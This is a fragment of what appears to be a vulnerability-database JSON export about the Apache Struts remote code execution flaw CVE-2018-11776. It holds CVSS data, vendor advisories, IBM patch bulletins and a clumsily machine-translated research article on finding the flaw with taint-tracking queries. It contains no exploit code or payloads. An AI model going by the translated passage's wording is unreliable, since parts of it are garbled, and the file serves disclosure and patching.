"obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638", "CVE-2018-11776"], "modified": "2019-03-30T00:00:00", "id": "MYHACK58:62201993410", "href": "http://www.myhack58.com/Article/html/3/62/2019/93410.htm", "sourceData": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-23T14:31:31", "description": "! [](/Article/UploadPic/2018-8/2018823153022212.jpg) \n2018 4 months, I to Apache Struts and the Struts security team reported a new remote code execution vulnerability--CVE-2018-11776\uff08S2-057 in to do some configuration on a server running Struts, and can be accessed via the carefully constructed URL to trigger the vulnerability. This discovery is I the Apache Struts ongoing Safety study of part. In this article, I will describe my discovery of a vulnerability and how to exploit the previous vulnerability information to get the Struts internal working of the principle, create a package Struts-specific concept of the QL query. Run these queries will highlight the problematic code results. These works are hosted on GitHub, later we will also to this repository add more query statement and database to help the Struts and other projects of the security research. \n\nMapping the attack surface \nMany security vulnerabilities are addressed from untrusted sources such as user input stream to a particular location of the sink of the data, and the data using an unsafe way-for example, the SQL query, deserialize, and some other interpreted languages, etc., QL can easily search for such vulnerabilities. You just need to describe the various source and sink, and then let the DataFlow library to accomplish these things. For a particular project, began to investigate such issues, a good method is to view the older version of the software known vulnerabilities. This can be in-depth understanding you want to find the source and sink points. \nThis vulnerability discovery process, I first see a RCE vulnerability S2-032\uff08CVE-2016-3081\uff09, S2-033\uff08CVE-2016-3687 and S2-037\uff08CVE-2016-4438-in. With Struts in many other RCE as RCE relates to the untrusted input is converted to OGNL expressions, allowing an attacker on the server to run arbitrary code. These three vulnerabilities are particularly interesting, not only do they let us on the Struts of the internal working mechanism have some understanding, and these three vulnerabilities actually is the same, also repair three back! \nThese three issues are the remote input through the variable methodName as a method of parameter passing caused OgnlUtil::getValue(). \n! [](/Article/UploadPic/2018-8/2018823153022696. png) \nHere the proxy has ActionProxy type, it is an interface. Note that the definition of it, in addition to the method getMethod\uff08\uff09\uff08in the above code is used to assign a value to the variable methodName addition, there are a variety of methods, such as getActionName\uff08\uff09and getNamespace\uff08\uff09\u3002 These methods look like from the URL to return information, so I'll just assume that all of these methods may return untrusted input. The rear of the article I will in depth research I for these the input from where the investigation.\uff09 \nNow use QL to start on these untrusted source modeling: \n! [](/Article/UploadPic/2018-8/2018823153023567. png) \n\nIdentify the OGNL sink point \nNow that we have identified and described some of the non-trusted source, the next step is to sink the point of doing the same thing. As previously mentioned, many of Struts RCE relates to the remote input parsed for OGNL expressions. Struts has many function will eventually be their arguments as OGNL expressions; for we in this article the start of the three vulnerabilities, the use of a OgnlUtil :: getValue \uff08\uff09, but in the vulnerability S2-045\uff08CVE-2017-5638, using TextParseUtil :: translateVariables\uff08\uff09\u3002 We may be looking for execution of OGNL expressions commonly used function, I feel OgnlUtil :: compileAndExecute\uff09and OgnlUtl :: compileAndExecuteMethod\uff08\uff09looks more games. \nMy description: \n! [](/Article/UploadPic/2018-8/2018823153023415. png) \n\nThe first attempt \nNow we have in QL are defined in the source and sink, we can stain the tracking query using these definitions. By defining DataFlow configured to use the DataFlow library: \n! [](/Article/UploadPic/2018-8/2018823153023702. png) \nHere is what I used before defined isActionProxySource and isOgnlSink it. \nNote that I'm here to reload the isAdditionalFlowStep, so that it can allow me to contain the pollution data is propagated to the additional step. Such as allow me to the project-specific information into the flow configuration. For example, if I have by a network of communicating components, I may be in QL as described in those various network-side code is what allows the DataFlow library to track tainted data. \nFor this particular query, I added two additional process steps for the DataFlow library. First: \n! [](/Article/UploadPic/2018-8/2018823153026173. png) \nIt includes tracking the standard Java library calls, string manipulation, etc. of the standard QL TaintTracking library steps. The second Add is an approximate value, allow me to by a field access track tainted data: \n! [](/Article/UploadPic/2018-8/2018823153026186. png) \nThat is if the field is assigned a tainted value, then as long as the two expressions are the same type of method call, the field visit will also be regarded as pollution. See the following example: \n! [](/Article/UploadPic/2018-8/2018823153026144. png) \nSeen from above, the bar in this. field access may not always be contaminated. For example, if in the bar before not to call foo\uff08\uff09\u3002 Therefore, we are not in the default DataFlow :: Configuration contained in this step, because you cannot guarantee that the data always in this manner the flow, however, for digging vulnerabilities, I think adding this very useful. In later posts I will share some of the similar to the other process steps, these steps for find the bug helpful, but for similar reasons, the default case is not included these steps. \n\nThe initial results and Refine the query \nI'm on the latest version of the source code on the run a bit with QL, found that due to the S2-032, S2-033 S2-037 is still marked. These vulnerabilities obviously already been fixed, why still will be reported problem? \n\n\n**[1] [[2]](<91264_2.htm>) [[3]](<91264_3.htm>) [next](<91264_2.htm>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2018-08-23T00:00:00", "type": "myhack58", "title": "S2-057 vulnerability in the original author's README: how to use automated tools find 5 RCE-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4438", "CVE-2017-5638", "CVE-2018-11776", "CVE-2016-3687", "CVE-2016-3081"], "modified": "2018-08-23T00:00:00", "id": "MYHACK58:62201891264", "href": "http://www.myhack58.com/Article/html/3/62/2018/91264.htm", "sourceData": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "checkpoint_advisories": [{"lastseen": "2021-12-17T11:27:15", "description": "A remote code execution vulnerability exists in Apache Struts. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2018-08-23T00:00:00", "type": "checkpoint_advisories", "title": "Apache Struts Remote Code Execution (CVE-2018-11776)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2018-09-12T00:00:00", "id": "CPAI-2018-0849", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "ubuntucve": [{"lastseen": "2023-12-01T14:55:58", "description": "Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible\nRemote Code Execution when alwaysSelectFullNamespace is true (either by\nuser or a plugin like Convention Plugin) and then: results are used with no\nnamespace and in same time, its upper package have no or wildcard namespace\nand similar to results, same possibility when using url tag which doesn't\nhave value and action set and in same time, its upper package have no or\nwildcard namespace.", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-08-22T00:00:00", "type": "ubuntucve", "title": "CVE-2018-11776", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2018-08-22T00:00:00", "id": "UB:CVE-2018-11776", "href": "https://ubuntu.com/security/CVE-2018-11776", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "ibm": [{"lastseen": "2023-12-01T18:17:25", "description": "## Summary\n\nThere is a vulnerability in Apache Struts which the IBM FlashSystem\u2122 840 and 900 are susceptible. An exploit of that vulnerability (CVE-2018-11776) could make the system susceptible to attacks which could allow an attacker to execute arbitrary code on the system. \n \n\n\n## Vulnerability Details\n\n**CVEID:** [CVE-2018-11776](<https://vulners.com/cve/CVE-2018-11776>) \n**DESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when using results with no namespace and its upper action configurations have no wildcard namespace. An attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base Score: 9.8 \nCVSS Temporal Score: See <https://exchange.xforce.ibmcloud.com/vulnerabilities/148694> for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nFlashSystem 840 machine type and models (MTMs) affected include 9840-AE1 and 9843-AE1. \nFlashSystem 900 MTMs affected include 9840-AE2 and 9843-AE2.\n\nSupported code versions which are affected\n\n * VRMFs prior to 1.4.8.1\n * VRMFs prior to 1.5.2.1\n\n## Remediation/Fixes\n\nMTMs | VRMF | APAR | Remediation/First Fix \n---|---|---|--- \n \nFlashSystem 840 MTMs:\n\n9840-AE1 & 9843-AE1\n\nFlashSystem 900 MTMs:\n\n9840-AE2, 9843-AE2, 9840-AE3, & 9843-AE3\n\n| \n\nCode fixes are now available, the minimum VRMF containing the fix depending on the code stream:\n\n_Fixed Code VRMF_\n\n1.5 stream: 1.5.2.1\n\n1.4 stream: 1.4.8.1\n\n| N/A | FlashSystem 840 fixes and FlashSystem900 fixes are available @ [IBM's Fix Central](<https://www-945.ibm.com/support/fixcentral>) \n \n## Workarounds and Mitigations\n\nNone.\n\n## ", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-02-18T01:45:50", "type": "ibm", "title": "Security Bulletin: A vulnerability in Apache Struts affects the IBM FlashSystem 840 and 900", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2023-02-18T01:45:50", "id": "7C42BBDFFC97D2C8E3BEC4BE79A23F40E78C2650B91FD356C831E42D0B7EE5EF", "href": "https://www.ibm.com/support/pages/node/735035", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-21T21:47:35", "description": "## Summary\n\nPublic disclosed vulnerability (CVE-2018-11776) from Apache Struts affects IBM Spectrum LSF Explorer.\n\n## Vulnerability Details\n\n## CVEID: [CVE-2018-11776](<https://vulners.com/cve/CVE-2018-11776>) \nDESCRIPTION: Apache Struts namespace code execution\n\nCVSS Base Score: 9.8 \nCVSS Temporal Score: See <https://exchange.xforce.ibmcloud.com/vulnerabilities/148694>[ ](<https://exchange.xforce.ibmcloud.com/vulnerabilities/148694>)for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L)\n\n## Affected Products and Versions\n\nIBM Spectrum LSF Explorer 10.1\n\nIBM Spectrum LSF Explorer 10.2\n\n## Remediation/Fixes\n\n_<Product_\n\n| \n\n_VRMF_\n\n| \n\n_APAR_\n\n| \n\n_Remediation/First Fix_ \n \n---|---|---|--- \n \nIBM Spectrum LSF Explorer\n\n| \n\n_10.1_\n\n| \n\n_None_\n\n| \n\n_See fix below_ \n \nIBM Spectrum LSF Explorer\n\n| \n\n_10.2_\n\n| \n\n_None_\n\n| \n\n_See fix below_ \n \n**IBM Spectrum LSF Explorer10.1 & 10.2**\n\n 1. Download Apache Struts 2.5.17 from following link, <https://cwiki.apache.org/confluence/display/WW/S2-057>\n 2. Replace the downloaded files (struts2-core-2.5.17.jar, struts2-json-plugin-2.5.17.jar and struts2-spring-plugin-2.5.17.jar) into Explorer installed environment.\n 3. How to find replace files location\n * Navigate to Explorer installed directory\n * run command \u2018find . -name \"*struts*.jar\"\u2019\n\n## Workarounds and Mitigations\n\nNone.\n\n## ", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-09-25T13:15:02", "type": "ibm", "title": "Security Bulletin: Public disclosed vulnerability from Apache Struts affects IBM Spectrum LSF Explorer", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2018-09-25T13:15:02", "id": "EF22A73E167DAD8921F1B5310AD0D0D34493E613208B9FFE7D6DF59B309A1D62", "href": "https://www.ibm.com/support/pages/node/729453", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-12-01T18:12:50", "description": "## Summary\n\nA vulnerability in Apache Struts affects IBM SAN Volume Controller, IBM Storwize V7000, V5000, V3700 and V3500, IBM Spectrum Virtualize Software, IBM Spectrum Virtualize for Public Cloud and IBM FlashSystem V9000 and 9100 family products. Apache Struts is used in the Service Assistant GUI. The Service Assistant CLI is unaffected.\n\n## Vulnerability Details\n\n**CVEID: ** [CVE-2018-11776](<https://vulners.com/cve/CVE-2018-11776>) \n**DESCRIPTION: ** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when using results with no namespace and its upper action configurations have no wildcard namespace. An attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base Score: 9.8 \nCVSS Temporal Score: See <https://exchange.xforce.ibmcloud.com/vulnerabilities/148694> for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nIBM SAN Volume Controller \nIBM Storwize V7000 \nIBM Storwize V5000 \nIBM Storwize V3700 \nIBM Storwize V3500 \nIBM FlashSystem V9000 \nIBM FlashSystem 9100 Family \nIBM Spectrum Virtualize Software \nIBM Spectrum Virtualize for Public Cloud\n\nAll products are affected when running supported versions 7.5 to 8.2.\n\n## Remediation/Fixes\n\nIBM recommends that you fix this vulnerability by upgrading affected versions of IBM SAN Volume Controller, IBM Storwize V7000, V5000, V3700 and V3500, IBM FlashSystem V9000, IBM Spectrum Virtualize Software, and IBM Spectrum Virtualize for Public Cloud to the following code levels or higher:\n\n7.5.0.13\n\n7.8.1.8\n\n8.1.3.3\n\n8.2.0.2\n\n8.2.1.0\n\n[_Latest IBM SAN Volume Controller Code_](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Storage%20virtualization&product=ibm/StorageSoftware/SAN+Volume+Controller+%282145%29&release=All&platform=All&function=all>) \n[_Latest IBM Storwize V7000 Code_](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Mid-range%20disk%20systems&product=ibm/Storage_Disk/IBM+Storwize+V7000+%282076%29&release=All&platform=All&function=all>) \n[_Latest IBM Storwize V5000 Code_](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Mid-range%20disk%20systems&product=ibm/Storage_Disk/IBM+Storwize+V5000&release=All&platform=All&function=all>) \n[_Latest IBM Storwize V3700 Code_](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Entry-level%20disk%20systems&product=ibm/Storage_Disk/IBM+Storwize+V3700&release=All&platform=All&function=all>) \n[_Latest IBM Storwize V3500 Code_](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Entry-level%20disk%20systems&product=ibm/Storage_Disk/IBM+Storwize+V3500&release=All&platform=All&function=all>) \n[_Latest IBM FlashSystem V9000 Code_](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Flash%20high%20availability%20systems&product=ibm/StorageSoftware/IBM+FlashSystem+V9000&release=All&platform=All&function=all>) \n[_Latest IBM FlashSystem 9100 Family Code_](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Flash%20high%20availability%20systems&product=ibm/StorageSoftware/IBM+FlashSystem+9100+family&release=All&platform=All&function=all>) \n[_Latest IBM Spectrum Virtualize Software_](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Software%20defined%20storage&product=ibm/StorageSoftware/IBM+Spectrum+Virtualize+software&release=8.1&platform=All&function=all>) \n[_Latest IBM Spectrum Virtualize for Public Cloud_](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Software%20defined%20storage&product=ibm/StorageSoftware/IBM+Spectrum+Virtualize+for+Public+Cloud&release=8.1&platform=All&function=all>)\n\nFor unsupported versions of the above products, IBM recommends upgrading to a fixed, supported version of code.\n\n## Workarounds and Mitigations\n\nAlthough IBM recommends that you install a level of code with a fix for this vulnerability, you can mitigate, although not eliminate, your risk until you have done so by ensuring that all users who have access to the system are authenticated by another security system such as a firewall.\n\n## ", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-03-29T01:48:02", "type": "ibm", "title": "Security Bulletin: Vulnerability in Apache Struts affects IBM SAN Volume Controller, IBM Storwize, IBM Spectrum Virtualize and IBM FlashSystem products (CVE-2018-11776)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2023-03-29T01:48:02", "id": "709EFBBA0822EBB77C07CD194232C954374F9FDFBE66E10E5A72224A58470EAA", "href": "https://www.ibm.com/support/pages/node/741137", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-21T21:47:34", "description": "## Summary\n\nPublic disclosed vulnerability (CVE-2018-11776) from Apache Struts affects IBM Platform Application Center.\n\n## Vulnerability Details\n\n## CVEID: [CVE-2018-11776](<https://vulners.com/cve/CVE-2018-11776>) \nDESCRIPTION: Apache Struts namespace code execution\n\nCVSS Base Score: 9.8 \nCVSS Temporal Score: See <https://exchange.xforce.ibmcloud.com/vulnerabilities/148694>[ ](<https://exchange.xforce.ibmcloud.com/vulnerabilities/148694>)for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L)\n\n## Affected Products and Versions\n\nPlatform Application Center 9.1.5\n\nPlatform Application Center 9.1.4.2\n\nPlatform Application Center 9.1.4.1\n\nPlatform Application Center 9.1.4\n\nPlatform Application Center 9.1.3\n\nPlatform Application Center 9.1.2\n\nPlatform Application Center 9.1.1\n\nPlatform Application Center 9.1\n\n## Remediation/Fixes\n\n_<Product_\n\n| \n\n_VRMF_\n\n| \n\n_APAR_\n\n| \n\n_Remediation/First Fix_ \n \n---|---|---|--- \n \nPlatform Application Center\n\n| \n\n_9.1.5_\n\n| \n\n_None_\n\n| \n\n_See fix below_ \n \nPlatform Application Center\n\n| \n\n_9.1.4.2_\n\n| \n\n_None_\n\n| \n\n_See fix below_ \n \nPlatform Application Center\n\n| \n\n_9.1.4.1_\n\n| \n\n_None_\n\n| \n\n_See fix below_ \n \nPlatform Application Center\n\n| \n\n_9.1.4_\n\n| \n\n_None_\n\n| \n\n_See fix below_ \n \nPlatform Application Center\n\n| \n\n_9.1.3_\n\n| \n\n_None_\n\n| \n\n_See fix below_ \n \nPlatform Application Center\n\n| \n\n_9.1.2_\n\n| \n\n_None_\n\n| \n\n_See fix below_ \n \nPlatform Application Center\n\n| \n\n_9.1.1_\n\n| \n\n_None_\n\n| \n\n_See fix below_ \n \nPlatform Application Center\n\n| \n\n_9.1_\n\n| \n\n_None_\n\n| \n\n_See fix below_ \n \n**Platform Application Center 9.1.5, 9.1.4.2, 9.1.4.1, 9.1.4, 9.1.3, 9.1.2, 9.1.1, 9.1**\n\n 1. Download Apache Struts 2.5.17 from following link, <https://cwiki.apache.org/confluence/display/WW/S2-057>\n 2. Replace the downloaded files (struts2-core-2.5.17.jar, struts2-json-plugin-2.5.17.jar and struts2-spring-plugin-2.5.17.jar) into Application Center installed environment.\n 3. How to find replace files location\n * Navigate to PAC installed directory\n * run command \u2018find . -name \"*struts*.jar\"\u2019\n\n## ", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-09-25T13:15:02", "type": "ibm", "title": "Security Bulletin: Public disclosed vulnerability from Apache Struts affects IBM Platform Application Center", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2018-09-25T13:15:02", "id": "8D92F3D2DF6A11349A2815C9DBFEE8CEFA4D5B034DC3477EAF30879571A440D4", "href": "https://www.ibm.com/support/pages/node/729451", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-21T21:47:28", "description": "## Summary\n\nIBM Security Guardium has addressed the following vulnerability. \n\n## Vulnerability Details\n\n**CVEID:** [CVE-2018-11776](<https://vulners.com/cve/CVE-2018-11776>) \n**DESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when using results with no namespace and its upper action configurations have no wildcard namespace. An attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base Score: 9.8 \nCVSS Temporal Score: See <https://exchange.xforce.ibmcloud.com/vulnerabilities/148694> for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected IBM Security Guardium**\n\n| \n\n**Affected Versions** \n \n---|--- \nIBM Security Guardium | 10.1.4-10.5 \n \n## Remediation/Fixes\n\n**Product**\n\n| \n\n**VRMF**\n\n| \n\n**Remediation / First Fix** \n \n---|---|--- \nIBM Security Guardium | 10.1.4 | https://www-945.ibm.com/support/fixcentral/swg/selectFixes?product=ibm%2FInformation+Management%2FInfoSphere+Guardium&fixids=SqlGuard_10.0p413_Apache-Struts-Vulnerability-Fix&source=SAR&function=fixId&parent=IBM%20Security \nIBM Security Guardium | 10.5 | https://www-945.ibm.com/support/fixcentral/swg/selectFixes?product=ibm%2FInformation+Management%2FInfoSphere+Guardium&fixids=SqlGuard_10.0p512_Sep-24-2018&source=SAR&function=fixId&parent=IBM%20Security \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-09-28T04:30:01", "type": "ibm", "title": "Security Bulletin: IBM Security Guardium is affected by a Publicly disclosed Apache Struts vulnerability", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2018-09-28T04:30:01", "id": "B7DFEA0F0D26A9AEA7F776C2117CB1186584920235B808CDC32E52053CB3C6B0", "href": "https://www.ibm.com/support/pages/node/732783", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-21T21:45:56", "description": "## Summary\n\nContent Collector for Email, File Systems, Microsoft SharePoint and IBM Connections has addressed publicly disclosed vulnerability found by vFinder: Eclipse Jetty.\n\n## Vulnerability Details\n\n**CVEID: **[CVE-2018-11776](<https://vulners.com/cve/CVE-2018-11776>) \n**DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when using results with no namespace and its upper action configurations have no wildcard namespace. An attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base Score: 9.8 \nCVSS Temporal Score: See <https://exchange.xforce.ibmcloud.com/vulnerabilities/148694> for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: 